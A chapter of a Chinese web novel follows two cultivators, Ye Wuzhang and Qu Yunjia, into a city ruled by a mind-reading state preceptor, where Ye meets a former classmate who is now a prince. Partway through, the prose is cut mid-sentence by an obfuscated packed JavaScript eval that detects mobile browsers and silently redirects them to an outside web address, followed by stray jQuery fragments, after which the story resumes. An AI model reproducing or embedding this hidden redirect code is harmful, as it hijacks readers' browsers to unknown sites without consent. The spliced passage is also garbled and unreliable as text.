一踏入顺知国的都城,业无障就感受到了周遭的异样。
太沉寂了。
街道敞亮,宫阙繁华,路边商铺也多种多样,一切看似正常,不过业无障敏锐的觉察到,这城中的人,都不对劲。
路上行人络绎不绝,可个个都行色匆匆,一脸严峻,似乎连发丝都紧绷着。这种情况甚至蔓延到了孩童身上,哪怕是三岁幼儿,也不跳脱活泼,默默融入进沉闷的氛围。
“云云?”业无障侧眸看曲云伽。
曲云伽握了握业无障的手,以示安抚,随后将早就探好的讯息说出:“顺知国有一国师,可读心,凡有心有不忿者,埋怨君王者,妄议朝政者,皆会被重刑处之。”
业无障习惯性夸赞:“哇!云云你消息真灵通。”
抱着嘻嘻怪的宏福则是脸一白,忍不住为妹妹担忧起来:“那长乐如果来了这,岂不是凶多吉少……”
“老宏,你妹妹是农木国人,就算无意犯事,他们顺知国也无权处置。”
业无障安慰完宏福,又道:“如果只是有一些不好的念头便会引火烧身,就难怪城中百姓人人自危了……呐,云云,你说那个国师会不会已经读到了我们的心,带着神器跑了?”
曲云伽看着他亮晶晶的双眸,眼神愈发温柔:“不会,神器之力,于你我无效,并且,此国师只能听到身边数十米范围内人的心声。”
“哦~”
日夜兼程,他们也疲乏了,眼看夜雾来袭,再加上这次的神器直接被皇室掌控,暂且无法查探,所以他们先去了客栈。
“三间房。”
“两间房!”
小二看着意见不同的曲云伽和业无障,为难道:“到底是……”
业无障睁着一双无辜狐狸眼,使劲盯曲云伽,试图打动此蛇故作矜持的心。
曲云伽被他盯得面红耳热,一时没开口。
非常有眼力见的宏福则是率先上楼休憩了,反正无论几间房,他都是带着嘻嘻怪和彩虹睡觉。
厅中只剩下业无障曲云伽和小二,业无障捏着曲云伽修长的五指,从拇指捏到尾指,从指根捏到指尖,眼神软乎得都要将曲云伽溺毙。
“……三间。”
曲云伽忍无可忍,将一脸遗憾的业无障拖上了楼,直接把他送进了房间。
他正要转身离开,可业无障殷殷地注视下,垂落在身侧的手无声握紧,随后缓缓垂首,轻柔吻上他的唇。
浅尝辄止后,曲云伽逼着自己,撤开了舌,然后抬手,擦净他唇上的水痕,低道:“乖一些……我会,忍不住。”
业无障微红着脸,非常知足的点头,又在曲云伽转身离去前,踮起脚,快速亲了亲粉嫩蛇嘴。
曲云伽身体一僵,随后红着脸,步伐凌乱地去了隔壁。
业无障看着他仓皇离去的背影,心中空落的同时,又甜如蜜糖,毕竟曲云伽如此克己复礼,最主要还是因为业无障还没满二十,但凡……
业无障小脸一凰,第一次亲亲的画面历历在目,此蛇看似正经禁欲,真疯起来……业无障完全无以为继,还是让二十岁未成年保护法再护他一段时间吧。
毕竟,“蛇性.本淫”这句话,曲云伽是真的没掺一点水分。
好不容易刹住脑中的豪车,业无障正打算掏出《云云历险记》记录一番,谁知,他突然感知到了一股熟悉的神识。
业无障猛然收回伸向芥子空间的手,面不改色地拿起手帕,开始擦脸,可手帕下的双眸中满是不可置信。
此蛇……居然偷窥!
业无障也是没想到,如此光风霁月光明磊落的纯洁大白蛇,有朝一日居然无师自通地学会了偷看,真是……太刺激了!
想到曲云伽此时表面一脸严肃地打坐,□□识已经悄摸摸地飞到自己这里来了,业无障就要忍不住开始作妖了。
他原地调整了一会儿,压下心中澎湃后,不动声色的散开了自己被辫得精致的长发,看向了房间中的浴桶。
隔壁的曲云伽,浑身僵硬了一瞬。
随后,业无障感知到,萦绕在自己身边神识开始缓慢撤退,他心中忍笑,没给曲云伽后悔的机会,直接宽衣解带,开始沐浴。
房间中属于曲云伽的气息瞬间撤去了大半,最后只剩一丝留在业无障身边。
但已将神识运用得炉火纯青的业无障,知道哪怕房中只剩这一丝神识,也足够曲云伽看得清晰真切。
业无障一向大胆。
曲云伽如今这般主动,他胆子更是能比天还大。
所以这次沐浴,业无障足足洗了一个时辰,将自己里里外外,洗了个透彻干净。
等业无障擦完湿发,潮红着脸换上寝衣后,隔壁的曲云伽……不得不开始了沐浴。
业无障略带羞涩地收敛神识,倒不是他没贼胆继续看,而是他到底精力有限,再这样胡天胡地下去,怕是没法办正事了。
等夜雾散去,业无障等人也休憩完毕。
宏福照例带着嘻嘻怪和那本失踪人口花名册去了城中打探妹妹的消息,业无障则一手拉着曲云伽一手抱着彩虹,往恢弘醒目的国师府去了。
可两人尚未抵达国师府,就恰好遇上了高调出行的国师。
“闲人回避!”
奢华的轿撵缓缓驶来,拉着轿撵的,是八头形似马却大如象的异兽,通体金黄,鬃毛还无风自动,一看就非凡物。
曲云伽看到那些异兽,眉头微皱:“……光驹,他们居然捉了如此多。”
业无障闻言,摸了摸怀中彩虹的毛,好奇问道:“是什么很厉害的神兽吗?比彩虹还厉害?”
曲云伽摇头,目光落到业无障身上,道:“不过是能日行万里的凶兽,彩虹……世间仅此一只,更为珍稀,且更温顺。”
“哇!日行万里!”
听到业无障惊叹,彩虹动了动身体表示不满,业无障忙撸了几把,安抚道:“日行万里怎么能比上彩虹呢?虽然彩虹只能日行百里,但胜在冰雪可爱,走一百里只耗费一百斤大白菜~”
此时轿撵也走到了他们跟前,八只光驹昂首阔步的走过,彩虹懒懒打了个哈欠,连个眼神都分给它们。
倒是近处的几只光驹不知是被彩虹还是曲云伽的威势吓住,步伐都没那么整齐了。
业无障望了眼轿撵上被层层纱幔挡住的国师,神识确实无法查探到轿撵上的人,但是身怀神器还只是身怀神力还尚不能下定论。
“……士兵太多,贸然动手,会伤及无辜。”曲云伽观测了一会儿后,无奈得出结论。
业无障看着那些装备精良的士兵,还有隐藏在高处的弓箭手,凝眉道:“不急于一时,等他回府后,我们再想办法暗探。”
就在这时,轿撵
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17775440|207415||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
突然急急一停,轿撵上端坐的国师,肉眼可见的被甩下了矮榻,他狼狈爬起后,隔着纱幔怒问:“谁!”
随身的侍从仓皇禀报:“是,是小王爷!他,他不愿让路……”
国师似乎愣了一下,半晌才出声:“既是小王爷,那……”
“国师好大的排场!”
一个清越的少年音从前方传来,只见一鲜衣男子骑着一头狰狞的凶兽,施施然走到了轿撵之前。
小王爷望着轿中的人影,笑容和煦,言语却步步紧逼:“不过是在这城中徘徊,何必动用八只光驹,国师架子真是越来越大了。”
国师默了少顷,平静回道:“此乃陛下旨意,臣,不敢不从。”
听到这句,小王爷笑容变得有些冷:“怕是你求来的旨吧。”
国师没再应声,只道:“小王爷,宫中还有要事,臣先行一步,告辞。”
下一秒,偌大的轿撵便艰难地绕过了路中央的小王爷,朝皇宫匆匆去了。
而处于围观路人中的业无障,则是望着那小王爷的脸,神色越来越怪,甚至几次想开口,但又考虑到什么,便忍下了。
曲云伽注意到了业无障异常,他眉头微蹙,看向小王爷,瞧见那人颇有几分风姿后,脸更黑了。
这时,小王爷也策兽掉头,他的目光正好扫过路边,同业无障对视上了。
小王爷双眼瞬间瞪大。
“业无障!”
被叫出名字的业无障,第一反应是:“真的假的……”
小王爷瞧见业无障就跟瞧见什么稀世珍宝一般,直接跳下了凶兽,拨开人群就要一把抓住业无障,却被一堵墙般的曲云伽挡住。
“认识?”曲云伽问的是业无障,双眼却警惕地盯着小王爷。
业无障探出半个脑袋,试探道:“应该是认识……于莲文?”
“我就知道我没认错!”
于莲文听他精准叫出了自己的真名,更是兴奋地嘴都要笑裂。
他不管不顾地越过曲云伽,直接捉住了业无障的手腕,激动道:“语文老师托我告诉你,你再不交作业,下节课就要你当众背出师表!”
“背不出就再抄十遍!”
业无障:……
都穿越异世界了,还要被催作业么?
曲云伽听着于莲文那些毫无逻辑的话,脸色更是黑沉,他直接夺回业无障的手,再次将人牢牢挡在身后,同时警告于莲文:“就算认识,也不可如此冒犯。”
业无障听到这句,心里顿时一甜,他轻轻挠了挠曲云伽的手心,以示安抚,并且解释道:“云云,他是……我老家的同窗,于莲文。”
说完,他又看向于莲文,向他介绍曲云伽:“这是我男朋友啦~”
曲云伽困惑回首,问业无障:“男朋友是何意?”
业无障仰头看他,笑容甜甜:“就是……未婚夫。”
曲云伽耳根一红,不出声了,只默默握紧了业无障的手。
于莲文见此一幕,也后知后觉的意识到了什么,不由退后两步打量起曲云伽,他看了好一会儿,才恍然大叫:“是男主!是那个詹灵淳的……”
“这里不是叙旧的地方!”
业无障打断完他的话后,皮笑肉不笑地,接着道:“我们找个安静的地方继续说,可好?”
于莲文:“……好。”